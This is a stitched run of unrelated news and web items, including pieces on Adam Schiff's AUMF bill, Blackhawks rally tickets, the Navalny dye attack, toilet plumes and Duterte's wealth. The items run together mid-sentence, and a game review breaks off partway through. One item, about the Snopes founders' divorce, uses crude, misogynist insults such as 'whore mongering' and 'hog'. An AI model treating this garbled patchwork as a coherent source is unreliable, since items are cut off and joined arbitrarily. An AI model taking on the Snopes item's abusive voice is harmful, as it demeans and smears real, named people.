"That is the most difficult kernel to pop," said Schiff. "There is still a remaining group of people for whom the evidence is either highly classified or highly problematic because it was a product of torture. And that problem remains to be solved."
Simply freeing those Guantanamo detainees is not an option, he said. "There will be a need for continued detention, even after the expiration of the AUMF," Schiff said, citing a World War II precedent for handling prisoners of war.
"I don't know that the authority to detain enemy combatants would end with AUMF. But I do think that Guantanamo ought to come to an end, ideally to match up with the expiration o the AUMF in about 18 months," he said.
Schiff's effort comes amid the recent revelations of the breadth of the National Security Agency's ability to spy on Americans -- an authority that stems from a separate law also inspired by the 2001 terror attacks, the PATRIOT Act. It also comes as observers on both the left and right have expressed greater suspicion of the executive branch's use of power in targeting reporters, whistleblowers and conservative groups.
Schiff, a member of the House Intelligence Committee, said the broader debate provides "context" for his measure, but evaluating the AUMF and the type of force Congress allows the president to use in the war on terror is a separate, if equally difficult, matter.
"There's probably a more substantial consensus that the existing AUMF is outdated and probably should be replaced," he said. "There's a lot less consensus about what should come after."
Ending the AUMF, he said, would either force Congress to grapple with that question -- and confront the defacto policy of perpetual war -- or allow the president to grow even more powerful.
"If we authorize a new and more limited AUMF, we are nonetheless continuing a war footing," Schiff said. "On the other hand, if we don't and the president takes these actions under his Article II power [of the Constitution], then we're broadening the power of the presidency to act unilaterally."
Schiff may offer his bill as an amendment to this year's National Defense Authorization Act when it's up for debate in the House this week, or as a standalone measure. He plans to introduce the bill Tuesday.Taco Bell fans rejoice: The chain's beloved hot sauce is now available by the bottle. You read that right. Taco Bell's Salsa Verde, Fire Sauce, Mild Sauce and one-and-only Hot Sauce are now being sold at grocery stores. No more packet hoarding!
This serving of hot sauce dared to dream outside the packet. Taco Bell sauces are now in a bottle! #bottledawesome pic.twitter.com/kzMzV4WhUu — Taco Bell Grocery (@TacoBellGrocery) February 24, 2014
Previously, only Taco Bell's Hot Restaurant Sauce was available for purchase (and if you're wondering, it takes 35 packets to refill your store bought bottle). Now, however, the real deal hot sauce is available to use in excess, without the guilt of pilfering one too many packets.
A 7.5 ounce bottle will be available for $2.19. As Taco Bell's Tumblr puts it, you can now "bring home the awesome."Click to share on WhatsApp (Opens in new window)
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KUCHING: Christians in Sarawak are free to use the word ‘Allah’ for God.
Deputy Chief Minister Datuk Amar Douglas Uggah Embas said yesterday the usage of the word Allah among non-Muslims in the state remains a non-issue.
“In Sarawak, there is no issue. Don’t create an issue,” he told reporters after the handover of funds for houses of worship at the State Legislative Assembly here.
Uggah, who is also minister in charge of Unit for Other Religions (Unifor), was asked to comment on news reports quoting a proposal by Selangor Islamic Religious Council (Mais) lawyer Mohamed Haniff Khatri Abdulla for Dewan Bahasa dan Pustaka to prepare an official Malay translation of the Bible to correct Christians alleged error in using the word ‘Allah’ for God.
Haniff had claimed the Christian community in Sabah and Sarawak had wrongly used ‘Allah’ for God in Bahasa Malaysia, arguing that they should use ‘Tuhan’ and that this would not deprive them of their rights.
Commenting on the same matter, Education, Science and Technological Research Minister Dato Sri Michael Manyin Jawong also said Christians in Sarawak will not be affected by this proposal.
He pointed out that there is no official religion in Sarawak, and the word ‘Allah’ has been used by the Christian natives in Sarawak for many generations.
He also said the previous chief minister the late Pehin Sri Adenan Satem had assured Christians in Sarawak that they can use the word ‘Allah’.
“To be very frank with you, Sarawak is not going to be affected by this. What is happening there (Peninsula) is not going to affect us.
“In Sarawak, there is no issue. Don’t create an issue. We don’t have to worry about this. That is why you and I can still use the word ‘Allah’ here. Sometimes I also say Insya Allah and Alhamdulilah in my speech, it is okay,” he said.
Haniff had made the proposal when appearing at the Kuala Lumpur High Court on Thursday on Mais’ behalf as an amicus curiae, or friend of the court, to assist in the understanding of how the word ‘Allah’ is used in Islam.
Yesterday was the hearing of a lawsuit by Jill Ireland Lawrence Bill — a BM-speaking Bumiputera Christian from Sarawak —- against the Home Minister and government to uphold her constitutional rights that were said to be infringed by a local ‘Allah’ ban in Christian publications.CHICAGO — More than 60,000 tickets for the Blackhawks rally at Soldier Field sold out within minutes Wednesday.
The free tickets went up for grabs at noon Wednesday on Ticketmaster with a limit of four per customer. The more than 60,000 tickets — with about 10,000 on the field — appear to have sold out in less than 15 minutes, though users said Ticketmaster crashed.
A Soldier Field representative said it appears all the tickets were "totally gone" within 15 minutes.
CLICK HERE FOR EVERYTHING YOU NEED TO KNOW ABOUT THE PARADE AND RALLY
"I would say it doesn’t surprise us given the excitement around what the team’s accomplished and the city’s support of the team and, like I said, the excitement around it," Luca Serra said. "It’s a demonstration of the popularity and excitement around the team."
People are already selling tickets online, though the city has said fans should not buy tickets from other outlets.
"We urge fans NOT to BUY tickets from any person or website as only free tickets obtained from Ticketmaster can be verified as valid for entry," the Department of Cultural Affairs and Special Events said in an email. "All others should be assumed to be invalid or counterfeit."
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Blackhawks fans unhappy about the quick sellout blasted Mayor Rahm Emanuel on Twitter, and he defended himself Wednesday.
“The normal place we would do it is Grant Park," Emanuel said to reporters Wednesday. "Only you [Jay Levine] and my mother would believe I’m responsible for the rain the other day. It would rip [Grant Park] up in a way that would create and millions and millions of dollars worth of damage.
“So we’ve extended the parade … a world-class parade for a dynasty. We’ve extended the parade so more people can be along the parade route. We’ve found a venue, and also the screens we’re going to have so that people in and out can appreciate the event, and do it in a world-class way.”
Illegal ticket sales are already all over the internet:
Welp. Get your Blackhawks rally tickets on Craigslist for $99 pic.twitter.com/ruDyAxI3Gn — Brian Moore (@BriTheWebGuy) June 17, 2015
selling blackhawks rally ticket $50 each — alex (@tsioukanaras) June 17, 2015
Kelly Bauer says the city is advising against buying tickets online:
A parade for the Blackhawks begins at 10 a.m. Thursday at Monroe and Jefferson streets. It will run along Monroe to Michigan Avenue, and then the rally at Soldier Field will start.
The party was moved to Soldier Field because conditions are still too wet at Grant Park, where the 2013 rally was held, said city spokeswoman Eve Rodriguez. Soldier Field spokesman Luca Serra said the stadium will install flooring on the field to mitigate damage.
On Wednesday afternoon shortly after tickets sold out, Blackhawks fans started a Change.org petition asking the city to move the rally outdoors.
"Every fan should be able to enjoy the Blackhawks Stanley Cup Rally," the petition says. "The City of Chicago and Mayor have butted their heads into the Rally and ruined it for most. Let's bring this celebration back to the fans and not to ticket scalpers and limited amounts of fans who got 'lucky.' We all deserve to celebrate together!"
The parade and rally are honoring the Blackhawks' Stanley Cup win on Monday.
For more neighborhood news, listen to DNAinfo Radio here:I often have difficulty deciphering what coaches mean by “compete.”
Here is an example from Mike Babcock. In the quote below, my focus is on “that’s your track,” but there’s much more to it.
“It’s called compete. You know, this game is so simple. You can have all the skill in the world, but if you put your skill in front of your work, you’re no good. If you put your work in front of your skill — so that’s winning 50-50 pucks, that’s your forecheck, it’s your tracking, it’s your compete every night — your skill comes out. If you don’t, you leave the rink disappointed.”
– Toronto Maple Leafs head coach Mike Babcock
In the public discourse, the word compete invokes paradigms of effort, questions of heart and character, and disconnecting the reconciliation between the idea of a lack of effort with images of players trying their best to deal with on-ice situations. The optics and definitions don’t match, with the mistake often ridiculed as an idiotic response to an obvious image.
Most of the time, I think coaches use “compete” in reference to “failing to execute” rather than invoking effort or lack thereof.
Coaches have to maintain a certain level of strategic secrecy while meeting their responsibility of being publicly available for commentary and interview fodder. They can’t outright come out and say that their team failed to execute while offering strategic talking points to opposition coaching staffs. They keep commentary to the minimum, offering “compete” as the catch-all and sparing themselves from needing to describe their strategic positioning or philosophies.
Besides, a team’s video services are sophisticated enough to break the opposition systems, pre-scout the competition and offer suggestions for the coaching staff to adjust their game plans. There’s no reason to give video coaches more items on which to focus their efforts. So coaches just use “compete.”
To maintain an element of secrecy and offer something to the throng of media people, the concept of compete works.
For our purposes, change compete to mean failure to execute.
“We didn’t compete hard enough,” becomes, “We failed to execute.”
“Our compete wasn’t at the level it had to be,” becomes, “Our execution of the game plan wasn’t up to the level required.”
Perhaps a practical example will help illustrate the point.
Failure to Execute: The Chaos
The Toronto Maple Leafs‘ defensive game is such a contentious topic that I could write pages and pages about it. Analysts often struggle to find objective reasons why they are simply not good enough without the puck.
This play is a small but prime example of where a breakdown morphs into chaos originating from a single bad read — a mistake that ultimately dissolves the structure due to a failure to execute defensive positioning properly. The Leafs’ leaky defensive game — and sub-par goaltending thus far — can be derailed by a solitary mistake exploited by the opposition, who can penetrate deeper and control the chaos in the defensive zone.
This play is from the Friday, November 10 game against the Boston Bruins.
It won’t be shown on many highlights because the end result isn’t a goal. David Pastrnak receives a pass on the outside and goes hard to the net. Patrice Bergeron then pounces on the ensuing rebound despite a sea of blue sweaters surrounding the crease. Let’s take a look:
I
It’s unfortunate that this example is isolating William Nylander. As a group, the Leafs made many positional errors last Friday, but this was blatant enough to be used as an example. His initial bad read sets up the scoring chance. Chastised almost fairly regularly for purposes of “compete,” are these the examples to which coach Babcock is referring with Nylander?
When coaches insinuate compete, this type of breakdown is likely more about the failure to execute here — not the effort given.
The play starts at the blue line, where there’s a two-on-two along the right wing with backside pressure applied by Nazem Kadri. The situation at the line, in isolation, is under control. Two defenders are ready to engage and backpressure is present in order to create a pincer effect — and recover the puck for a quick break the other way.
Nylander is on the weak side monitoring the zone entry unaware — that’s not his responsibility. He’s puck watching and uninvolved, while his man in David Pastrnak is streaking down the left wing. His involvement was required in the zone entry attempt or anywhere on the strong side where the puck is; his responsibility is the streaking winger. Unattended by a check, the lateral pass ignites a firestorm in the Leafs zone.
With Nylander focused on the strong side play, the pass across hits the streaking Pastrnak, who can drive to the net unabated. Nylander is forced to pivot, slow up to turn around and face the approaching threat. He’s unable to catch or hinder him in any way. Pastrnak has a step ahead, is in full control and can cut to the goal almost untouched. Even when he is engaged, it’s Ron Hainsey — not Nylander — that lays a lame crosscheck to the arm and generally accomplishes nothing.
Hainsey then abandons his check (Bergeron) in order to engage Pastrnak. This is a key point: Both Nylander and Morgan Rielly just watch the Hainsey effort without picking up any stragglers. Bergeron is free to do anything he wants. Both of them failed to execute coverage.
Chaos led to structural breakdowns.
Hainsey eventually overshoots the goal and follows through past the goal line as Pastrnak circles around the net. Nylander slows off to the side of the net, and Rielly doesn’t really cover the crease — he’s a bit off to the other side. Even Nazem Kadri — that Selke candidate — plays this incorrectly, turning away from the play when the trailer (Torey Krug) is bearing down for any secondary chances.
Bergeron has a clear path to the net and gets to the rebound untouched. He has a chance to whack at it despite the presence of plenty of blue sweaters in the immediate area. They failed to execute proper coverage and were covering no one.
A coach looking at this play could easily say that Nylander failed to compete and the ensuing structure suffered because of that one initial play.
It’s not like he didn’t exert any effort or “try,” as the connotation suggests, but he failed to read the play. He failed to execute. His teammates also did the same; the entire play was an abject failure and could have been plainly avoided. After the structural breakdown, the result was a clear shot to the net and an unabated rebound attempt. It could have resulted in a goal if shady Leafs goaltending showed up at that moment.Teens and adults have pretty much the same habits when it comes to ensuring their privacy in the world of social media.
Oh, the youths. So audacious, with all their Tweetering and Facebooking. Don't they care how they're presenting themselves to the entire rest of the world? Aren't they concerned about all the harm that can come from a life of digital promiscuity?
The conventional wisdom -- even though that wisdom has been disproven time and again -- holds that young people simply aren't concerned about online privacy. They are reckless. They are feckless. And that's because they are not only youths, who as a cohort have always been seen by adults to be rash in their actions, but also digital natives: happy denizens of a Zuckerworld in which sharing -- uninhibited, arbitrary sharing -- is the norm.
Today, however, brings yet more evidence to contradict all those assumptions. Pew's Internet and American Life Project has found that teens are actually as concerned about online privacy as their parents, with social network privacy patterns that are strikingly similar to those of adults.
The findings, part of a broader report that explores privacy management on social media sites, suggest that Internet users of all ages are akin to each other when it comes to the way they manage their social media privacy settings.A revealing new book from one of media's longest-serving White House correspondents reports that President Obama surrounds himself only with "idolizers," and top aides make sure that those whose views might "shake him up too much" are shoved aside.
In " Prisoners of the White House, the Isolation of America's Presidents and the Crisis of Leadership," U.S. News correspondent Kenneth T. Walsh also discloses the extent to which Obama relies on polling for his political decisions, including a never-before revealed re-election project to investigate the thoughts and feelings of "up for grabs" voters and another dedicated to helping him build a lasting legacy.
Walsh, who has covered the White House for 25 years and written several books on the presidency, credits Obama for trying to get out of the so-called "bubble," but found that instead the president often relies on a tiny cadre of Chicago aides, thus living in "a bubble within the bubble."
He called top Chicago aide Valerie Jarrett "one of the leading idolizers" who blocks the access of critics to her boss. "Jarrett has gone too far in limiting others' access to the president, according to a number of White House and congressional sources," writes Walsh in the book, due out June 1. "Her goal is to keep Obama in a cocoon of admirers who won't, in her mind, shake him up too much or present views that might be contrary to her understanding of Obama's positions."
Democratic pollster Peter Hart told Walsh that Obama is more a performer than seasoned politician. "He likes performing. He likes crowds," said the pollster. But Hart added that Obama's White House is too distant from those in Congress who can help him. "It's closed. It's insular. It's shut out."
The book from Paradigm Publishers also reports that the president has been meeting with scholars to plot out his legacy. The most recent was a January dinner of salad and pastry-wrapped beef. "Obama discussed history with his guests for two hours. He was particularly interested in their thoughts on how he could ensure a successful second term and what kind of legacy he could create," reports Walsh of Obama's meeting with seven scholars.
Walsh, who writes about presidents going back to Franklin D. Roosevelt in his new book, also tells of an Obama re-election initiative called the "ethnology project" in which his pollster looked at the thinkings and feelings of undecided, or "up for grabs" voters. The findings of hours of interviews and questionnaires on a select group of voters from Ohio, Florida and Colorado helped steer Obama's reelection campaign.
But Walsh gives Obama credit for trying to stay in touch with his middle class roots and normal Americans, noting that the president has kept his Blackberry to email friends despite concerns by the Secret Service, trolls through news sites and reads letters from Americans to his wife at night.Isn't it interesting how a little money can change a person? According to divorce papers, Snopes co-founder David Mikkelson started taking all sorts of trips around the world to bang whores after that sweet liberal shill money started rolling in. While engaging in this debauchery, Mikkelson wrote off just about everything as a business expense, embezzling a reported $98,000. The Snopes co-founder has since settled down and married a [NSFW] part time porn actress, Snopes.com administrator (spicy!), and sex worker. As in, she has a website devoted to being a whore. Apparently she's a pretty good one despite being "past her time as an adult model." In the same divorce papers, David Mikkelson fires back, claiming his hog of an ex-wife took millions from their joint account and bought property in Las Vegas. No word on who got their obese cat, or if it's still alive.
The Daily Mail reports:
"...a DailyMail.com investigation reveals that Snopes.com's founders, former husband and wife David and Barbara Mikkelson, are embroiled in a lengthy and bitter legal dispute in the wake of their divorce.
He has since remarried, to a former escort and porn actress who is one of the site's staff members.
They are accusing each other of financial impropriety, with Barbara claiming her ex-husband is guilty of 'embezzlement' and suggesting he is attempting a 'boondoggle' to change tax arrangements, while David claims she took millions from their joint accounts and bought property in Las Vegas.
She claimed he spent nearly $10,000 on a 24-day 'personal vacation' in India this year and expensed his girlfriend's plane ticket to Buenos Aires." -Daily Mail
As one of the five fact-checkers selected by Facebook to determine FAKE NEWS, and one of the most widely referenced "debunking" websites, is even a tiny moral compass too much to expect? We already know that Snopes staff are militantly liberal fact checkers who love insulting conservatives. Proven liberal bias aside, can we trust an organization co-founded by an embezzling, whore mongering, possibly cat abandoning shill? Plus, he's a fucking moron because he fell for the oldest whore trick in the book.
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Content originally generated at iBankCoin.comPolice in Honolulu faced criticism for their unsuccessful attempt to draw sexual assault charges against 16 local massage parlor workers during a sting operation earlier this month, the Associated Press reported.
Attorney Myles Breiner, who is representing some of the women, said at least one officer took a worker’s hand and placed it on his groin after disrobing, then accused her of sexual assault.
“Sex assault in the fourth degree is a nonconsensual touching of a sexual nature,” Breiner said. “How can you say it’s not consensual when the officers are going into these establishments intending to be touched?”
City prosecutor Keith Kaneshiro announced on Wednesday that the assault charges against the women would be dropped due to lack of evidence. If convicted on those charges, the women would have been required to register as sex offenders and spent up to a year in jail.
Authorities said in a statement that they set the operation up in response to community complaints, and that “more information will come out in court.” The women are scheduled to be arraigned on Friday.
Breiner told KITV-TV that authorities were instead “re-victimizing the victims.”
“The notion that they’re going after the pimps is completely ludicrous,” he said. “It’s just more lies compounded by the notion that they’re somehow helping the public by enforcing these prostitution laws by further criminalizing women and victimizing them as sex assault victims.”
Police spokesperson Michelle Yu said in a separate statement that the department had met with experts on human trafficking and social workers regarding the dismissed cases.
“Thus far the discussion has not yielded or produced a viable police strategy that does not involve the enforcement of prostitution laws,” Yu stated.
The operation came less than a year after authorities lobbied for the right to retain the ability to have sex with escorts while on duty as part of a state statute. Lawmakers subsequently revoked the exemption.
Watch KITV’s report, as aired on Wednesday, below.Image copyright @navalny Image caption It is the second time Mr Navalany has had dye thrown on him this year
Russian opposition leader Alexei Navalny has been taken to hospital after an antiseptic green dye was splashed on his face in Moscow.
It is the second time he has been attacked with zelyonka ("brilliant green" in English) this year.
The dye is a common antiseptic in Russia and has been used in protests there and in Ukraine.
"It looks funny but it hurts like hell," Mr Navalny tweeted.
It is not clear who carried out the attack, which happened near the offices of the Anti-Corruption Fund (FBK) that he founded.
According to one report (in Russian) he was diagnosed with a chemical burn to the eye.
Mr Navalny is one of the foremost Russian critics of President Vladimir Putin and has announced his intention to run for president himself.
But his intentions may be thwarted - he has been convicted of embezzlement, which would bar him from running for office, although he denies it.
A new weapon of choice - Vitaliy Shevchenko, BBC Monitoring
A mild antiseptic known as "brilliant green" has recently become a weapon of choice against government critics in Russia.
Media playback is unsupported on your device Media caption Footage from March appears to show Mr Navalny being attacked with a green liquid
Mr Navalny has been doused with it twice this year. One of Russia's most popular bloggers, Ilya Varlamov, had it thrown at him twice on the same day on 26 April. And pro-Western politician Mikhail Kasyanov had it splashed in his face at a rally commemorating murdered opposition activist Boris Nemtsov.
So why brilliant green? It stains the skin and is hard to wash off, which can be a problem if you want to take the media spotlight. Also, it doesn't do any lasting damage, which means attackers will not be facing charges of grave bodily harm.
But the attackers don't always have the last laugh. When Mr Navalny was last doused he turned his green face into an internet meme and was imitated by his supporters.
Mr Navalny was among 500 people arrested after organising an anti-corruption rally last month. Rallies across the country were the biggest opposition demonstrations in Russia in several years.
He has said repeatedly that he wants to challenge Vladimir Putin's control of the Kremlin and expose what he claims is the "myth" that Mr Putin commands more than 80% popular support.
Meanwhile a separate opposition group, Open Russia, says its office has been raided by police, a day after the group was blacklisted by the authorities.
Activists said more than 20 riot police raided the office and removed computer equipment and 100,000 flyers for an unsanctioned rally planned for this weekend.
Open Russia was founded by former oil tycoon Mikhail Khodorkovsky, who lives in exile after spending 10 years in a Siberian prison on fraud charges, which he says were politically motivated.Winter solitude (via yama-bato & growing orbits @ tumblr)
Basho, trans. Robert Hass
Winter solitude —
In a world of one color
the sound of wind.
Comment:
Initially: too bleak. Loneliness is sameness, reinforced by that hollow, echoing sound. Loneliness, sameness, emptiness. We’re where we started.
I wonder if a move from “speaker” to “we” is the point. Loneliness is an experience we’ve all had, though it isn’t clear it was or ever could be a shared experience. “Winter” is not just a specific time; it suggests that maybe there is a shared experience.
There may be a tension between “color” and “wind.” The “world” is one color. It isn’t cold, it isn’t necessarily earth or nature frosted over. It is simply one color. This seems to imply there is one unchangeable object. That object may be perceiver and perceived. The wind moves. It produces sound. We know that sound is not a steady drone.
Change resides in what seemed static being. There may be a physiological explanation for “winter solitude.” The sun doesn’t shine as much, certain chemicals don’t get produced, we feel down. Any such explanation does injustice to “solitude.” Your loneliness is not another’s: we’re all different. We’re lonely inasmuch we are individuals. That solitude, like winter itself, has seeds of change within. The sound of wind betokens a world with many colors and the communication of the poem itself.✰✰✰✰✰ REVIEW: A Thrilling Medical Suspense Novel that Kept Me on the Edge of My Chair Rapidly Flipping Pages from Beginning to End! Enjoy!
By Tom McGee
Every once in a while I am blessed to have read so many great books and use so many great products that I press forward to experience the next without taking the time to review them immediately. That was the case with Doctor Lawrence W. Gold's book "The Plague Within."
This is a book about people who are truly ingenious and on the front edge of medical technology that will change the course of humanity. It is also a book about egos that are bigger than life.
Life saving discoveries are discovered and pushed before their time and accelerated to limits much too soon to safely evaluate their side effects on human beings.
Jack Byrnes, Medical Director at Berkeley Brier Hospital ICU and his wife Beth, the head ICU nurse are concerned with their Patient Rachel Palmer and are excited with technology that has helped her recover at a rapid, unheard of rate.
Greed, egos, overconfidence and shortcuts give way to reality and create an unnecessary catastrophe that makes for a believable stress filled and haunting suspense novel that I had trouble putting down.
Who, if anyone will come forward to report unethical harmful experiments and applications that could result in unnecessary procedures that will claimed the lives of unexpected victims and threaten more.
The Plague Within is an intriguing, breathtaking story written by a medical doctor who leaves the reader wondering if this set of circumstances could or will happen in the stage of human need to play God.
This author's writing skills and ability to tell a believable fast-paced storyline kept me on the edge of my chair frantically flipping pages from the beginning to the very end. My best guess is that you will do so too.
If you are entertained by medical suspense thrillers, you will be happy to know that THIS IS IT!
Even in the age of the genome and sophisticated biotechnology, medical progress still moves at a snail’s pace. Seasoned investigators are matured by experience and they accept the virtue of the too-slow scientific process. The young, however have been brought up in a world of instant gratification, and they barrel ahead never looking back to see the havoc in their wake.
So it is with Dr. Harmony Lane. In her single-minded obsession to cure her patients, she cuts corners and treats a desperately ill woman with an experimental viral vector provided by an unscrupulous research scientist. While he shares her impatience, he cares nothing for her humanistic sensibilities. She uses a similar vector on her patients with autoimmune diseases.
While the vector has remarkable curative properties, it soon becomes clear that it has devastating and lethal side effects.
The race is on to cure or at least control the vector before it kills again.
The novel proves, once again, that “the road to hell is paved with good intentions”.Tyler Wilde provides context and commentary followed by the full, original text of our Metal Gear Solid review, published in the December 2000 issue of the US edition.
Metal Gear Solid V: The Phantom Pain is coming to PC! The last Metal Gear game to release on PC was Metal Gear Solid 2: Substance over 10 years ago (unless you count Revengeance), and before that, Metal Gear Solid, which was published on PC by Microsoft a couple years after its PlayStation release.
That delay is largely to blame for MGS' sub-80% score (imagine a PS3 game releasing on PC now without any upgrade), but as our original review makes clear, it's a great game. I think Li C. Kuo was right to call Metal Gear the PlayStation's Half-Life.
Speaking of which, Metal Gear Solid 3 cruelly released just a day after Half-Life 2, and became my favorite PS2 game (after I was through HL2, of course). I'm excited that MGSV may become one of my favorite PC games. Let's just, uh, play down the 'distracting guards with swimsuit models' thing. That's dumb. How are the guards so dumb? More flying goats, please.
Metal Gear Solid review
This console port suffers from PlayStationitis, but it may be worth your time if you haven't played it before
Required: PII 266, 32MB RAM, 300 MB hard-drive space
We recommend: PII 300, 64MB RAM, 3D accelerator card, gamepad
As a devout PlayStation guy back in my college days, |
a period of residential stability may seem counterintuitive, given the economic turmoil of the past decade. But many economists are concerned about the low moving rate. For most of U.S. history, geographic mobility was a grease that helped economic growth and innovation. Unemployed or underpaid workers frequently moved to areas where there was a high demand for labor and higher wages (which also helped reduce the labor supply, and thus raise wages, in the places they left behind).
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Almost two-thirds of the counties in the United States suffered a net loss in domestic migration from 2010 to 2016.
That seems to be happening far less now, in part because relatively high-wage areas also have very high housing costs. In our uneven economic recovery, a small set of highly skilled workers migrate to, and stay in, a handful of thriving metropolitan areas. Unable to afford a long-distance move, others remain in places with few job opportunities and declining populations. The economist Richard Florida writes that workers in the United States are increasingly divided into three categories: “the mobile, who derive the benefits of economic dynamism; the stuck, who are trapped in place and unable to move; and the rooted, who are strongly embedded in their communities and choose not to.”
The low moving rate belies some major changes in population distribution. From 2010 to 2016, almost two-thirds of the 3,142 counties (or their equivalents) in the United States suffered a net loss in domestic migration, with population magnets in states like Arizona, Florida, Nevada and Texas pulling people from the rest of the United States. In 166 counties, enough international immigrants arrived to offset the loss of U.S.-born residents and keep the population growing. These included Miami-Dade, counties in California and scattered across the Midwest and in counties and cities in the Northeast, including New York and Boston.
Large swaths of the Appalachian and Great Lakes regions, plus rural parts of almost every state, are steadily losing residents without attracting significant numbers of immigrants.
But large swaths of the Appalachian and Great Lakes regions, plus rural parts of almost every state, are steadily losing residents without attracting significant numbers of immigrants. In more than 800 counties, not only are more people moving out than in, more people are dying than being born. These counties are concentrated in Rust Belt states like Ohio and Pennsylvania that almost uniformly swung toward the Republican candidate, Donald Trump, in the 2016 election.
Places with steady population losses face severe economic challenges, as the number of both skilled workers and potential customers dwindles. Alvin Chang, writing for the website Vox, points out that the lower moving rate may be especially bad news for small towns, which are seeing fewer “returnees”—that is, people who leave town to get an education or travel during their young adulthood, then come back to raise families and perhaps start businesses. These days, he writes, “fewer people are coming back with the human capital these towns so desperately need.”
In more than 800 counties, not only are more people moving out than in, more people are dying than being born.
The returnees (and the “rooted,” who never leave their hometowns in the first place) implicitly raise a moral question: Do high-skilled workers have an obligation to the communities that nurtured and educated them? There is also a moral dimension to the idea that people should continually move to where there are more job opportunities: Is it wrong to force mobility on people who wish to stay rooted in communities they love? Are small towns to be another casualty of our throwaway culture?
In “Laudato Si’,” Pope Francis writes about protecting “our common home.” Most discussion of the encyclical has centered on the health of our planet, but there is also a clear theme of our obligations on a smaller scale. The pope celebrates “local individuals” with “a strong sense of community, a readiness to protect others, a spirit of creativity and a deep love for the land” (No. 179).
The Catholic principle of subsidiarity, that government “should not replace or destroy small communities and individual initiative,” is also strengthened when individuals give back to the communities where they were raised. But “dying counties” are now experiencing crises, including a rising suicide rate and opioid addiction, that they may not have the resources to deal with, necessitating more intervention from federal and state governments.
Mr. Chang cites researchers who found that “returnees” to hometowns almost always had family members still there and “felt the need to give back to their community with the skills and experiences they accrued elsewhere.” Perhaps the problem with the moving rate is not that it is low but that it is overwhelmingly in one direction.Flickr/dirtyboxface You really should put the toilet seat down.
And while it may also put some household arguments to rest, the real reason to close the toilet lid is a phenomenon known as a "toilet plume."
When you flush a toilet, the swirling water that removes your waste from the bowl also mixes with small particles of that waste, shooting aerosolized feces into the air.
Low-flow toilets have decreased this risk — they don't gush or blast as much as other types of johns — but countless old toilets are still in use today and can really spew.
Philip Tierno, a microbiologist at New York University, says that aerosol plumes can reach as high as 15 feet.
"It is a good idea to lower the seat, especially if the bathroom is used by multiple people," Tierno told Tech Insider.
A study published in the journal Applied Microbiology in 1975 (before the adoption of low-flow toilets) found that whatever you put in your toilet can stay there long after you flush. After seeding a toilet bowl with potentially infectious bacteria and viruses, the researchers found that the toilet dispersed the microbes far enough to settle on other bathroom surfaces, like the floor, the sink, and even your toothbrush.
The microbes also remained on the toilet bowl's porcelain surface after multiple flushes, and while the number of microbes decreased after the first few flushes, the population leveled out and remained until it was scrubbed off (with or without a detergent).
Flickr
A more recent scientific review article found similar dispersion results, although it didn't find any evidence supporting or denying that disease could be transferred through a toilet plume. More disgusting research is needed to truly gauge the danger of these aerosolized fecal particles.
So don't worry — too much — if you come into contact with the contents of a toilet plume.
"If you have [unbroken] skin, you're likely to be okay," says Tierno. He notes, however, that bacteria like salmonella and shigella and viruses like norovirus and hepatitis A, are transmitted when fecal particles enter the mouth. But it's best to be wary even if you plan on keeping your mouth away from your toilet.
Even with your seat down, Tierno says, it's probably a good idea to store your mouth related items in the cabinet. "Make sure your cups and toothbrushes are tucked away."
And what about the public toilets, which rarely have lids? Tierno suggests that you "exit at the time of the flush."
Yet as gnarly as toilet plumes may be, Tierno insists that proper hygiene is more crucial than any toilet-plume prevention. "It's most important to wash your hands before you exit the toilet," he says.If you’re going to change the scenery, there may be no better place to do it than in San Diego.
After four days of training camp at the Pepsi Center, Nuggets coach Brian Shaw is ready for some San Diego sunshine. His team is too. So, he decided to take his team to Southern California a couple of days early in advance of Denver’s preseason opener Monday against the Los Angeles Lakers at the Valley View Casino Center.
“I think it will be good for us,” Shaw said. “We’ve got a couple of team-bonding kind of things planned for the guys while we’re there. And then, Monday night to be able to lace it up and go against a different opponent, we’re looking forward to it.”
Monday’s game is the first of eight on the Nuggets’ preseason schedule. It will be followed by the first of the Nuggets’ two exhibition games played in Colorado, Wednesday against the Oklahoma City Thunder.
No final decisions have been made about the availability of players coming off a major surgery — Danilo Gallinari, JaVale McGee, Nate Robinson and J.J. Hickson. Gallinari and Robinson went through light contact in 5-on-5 scrimmaging during the second of a two-a-days practice Thursday, but their first forays back into contact work aren’t expected to be enough to green light their participation in Monday’s game.
Shaw hasn’t settled on a rotation plan.
“I have no idea yet,” the coach said. “We have 18 guys on the roster. I still don’t know from our medical staff how much, if at all, any of our injured guys will be able to play.”
Asked what he is looking for, Shaw said: “I want to see where we stand in what we’re trying to do. Mainly defensively, if we’re starting to get it. Communication between teammates; who has good chemistry with who in terms of the different groups that will be playing together.”
Shaw has been pleased with his team’s work during the first few days of camp, in everything from the players’ energy to the competitive nature of the practices.
Given an opportunity to contrast this year so far with last year, Shaw grinned. “It’s like night and day,” he said.
Christopher Dempsey: cdempsey@denverpost.com or twitter.com/dempseypostDAVAO CITY — President Rodrigo Duterte offered a glimpse on Friday into the source of his and his family’s wealth to counter accusations that he hid ill-gotten funds, saying he and his siblings made “millions” selling inherited land and cutting trees.
Over dinner with reporters here on Friday, Mr. Duterte said he and his siblings decided to sell off pieces of real estate property they inherited from their parents because they were already quarreling over it.
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Mr. Duterte has four siblings — Eleonor, Emmanuel, Benjamin and Jocelyn.
“We siblings quarreled over (some pieces of property). So I said, sell,” said the President, who did not entertain questions from reporters during the dinner.
“I was a lawyer then,” Mr. Duterte said, recalling the time the inherited lots were sold. “But even before that, when I was just a student, fourth year, I already had about P3 million,” the President said.
He did not say, however, where the P3 million he had as a student came from.
He said he found it revolting to be accused without basis of amassing wealth from corruption because his detractors could have easily checked how the Duterte family made money in real estate transactions.
Among the family-owned pieces of real estate property sold was a parcel of land in the village of Ulas, where a biscuit factory used to be, according to Mr. Duterte.
Although the President failed to mention how big the piece of property was, those in the know estimated it to be some 2 hectares in area.
No details
The Ulas land is now occupied by a gasoline station, a fast-food restaurant and other establishments.
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Mr. Duterte also spoke of a piece of land near an ice plant in the village of Dumoy which he and his siblings agreed to sell, too. He also mentioned another family-owned land in “Carriedo.”
No details were made available on the land in Dumoy or Carriedo.
The Carriedo that Mr. Duterte mentioned could be somewhere near Pedro Carriedo Elementary School or anywhere near the location of buildings named Carriedo here.
The President said his siblings wanted their hands on the lot near the ice plant in Dumoy because it was prime property. So instead of quarreling, they decided to sell it.
“So when we divided (proceeds from the sale), we had our first millions already,” Mr. Duterte said.
He said all the money representing his share from the real estate deals were deposited with the then “Insular Bank of Asia.”
He challenged critics to do the math but he did not provide numbers. “You have to compute it because that was the time we divided our properties when my father died,” the President said. Mr. Duterte’s father died in 1968.
